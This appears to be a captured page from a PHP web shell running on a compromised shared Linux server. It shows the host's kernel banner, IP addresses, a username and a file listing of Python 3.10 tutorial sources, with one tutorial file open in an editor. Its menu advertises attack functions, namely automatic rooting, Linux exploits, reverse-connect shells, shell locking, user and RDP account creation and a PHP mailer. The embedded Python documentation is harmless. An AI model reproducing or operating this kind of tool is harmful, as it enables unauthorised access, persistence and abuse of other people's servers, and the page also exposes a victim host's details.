Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3.10 /
html /
_sources /
tutorial /
[ HOME SHELL ]
Name
Size
Permission
Action
appendix.rst.txt
4.51
KB
-rw-r--r--
appetite.rst.txt
4.4
KB
-rw-r--r--
classes.rst.txt
36.35
KB
-rw-r--r--
controlflow.rst.txt
38.58
KB
-rw-r--r--
datastructures.rst.txt
24.36
KB
-rw-r--r--
errors.rst.txt
16.78
KB
-rw-r--r--
floatingpoint.rst.txt
10.94
KB
-rw-r--r--
index.rst.txt
2.33
KB
-rw-r--r--
inputoutput.rst.txt
19.45
KB
-rw-r--r--
interactive.rst.txt
2.36
KB
-rw-r--r--
interpreter.rst.txt
6.35
KB
-rw-r--r--
introduction.rst.txt
17.97
KB
-rw-r--r--
modules.rst.txt
24.04
KB
-rw-r--r--
stdlib.rst.txt
11.07
KB
-rw-r--r--
stdlib2.rst.txt
14.79
KB
-rw-r--r--
venv.rst.txt
7.02
KB
-rw-r--r--
whatnow.rst.txt
3.14
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : interactive.rst.txt
.. _tut-interacting: ************************************************** Interactive Input Editing and History Substitution ************************************************** Some versions of the Python interpreter support editing of the current input line and history substitution, similar to facilities found in the Korn shell and the GNU Bash shell. This is implemented using the `GNU Readline`_ library, which supports various styles of editing. This library has its own documentation which we won't duplicate here. .. _tut-keybindings: Tab Completion and History Editing ================================== Completion of variable and module names is :ref:`automatically enabled <rlcompleter-config>` at interpreter startup so that the :kbd:`Tab` key invokes the completion function; it looks at Python statement names, the current local variables, and the available module names. For dotted expressions such as ``string.a``, it will evaluate the expression up to the final ``'.'`` and then suggest completions from the attributes of the resulting object. Note that this may execute application-defined code if an object with a :meth:`__getattr__` method is part of the expression. The default configuration also saves your history into a file named :file:`.python_history` in your user directory. The history will be available again during the next interactive interpreter session. .. _tut-commentary: Alternatives to the Interactive Interpreter =========================================== This facility is an enormous step forward compared to earlier versions of the interpreter; however, some wishes are left: It would be nice if the proper indentation were suggested on continuation lines (the parser knows if an indent token is required next). The completion mechanism might use the interpreter's symbol table. A command to check (or even suggest) matching parentheses, quotes, etc., would also be useful. One alternative enhanced interactive interpreter that has been around for quite some time is IPython_, which features tab completion, object exploration and advanced history management. It can also be thoroughly customized and embedded into other applications. Another similar enhanced interactive environment is bpython_. .. _GNU Readline: https://tiswww.case.edu/php/chet/readline/rltop.html .. _IPython: https://ipython.org/ .. _bpython: https://www.bpython-interpreter.org/
Close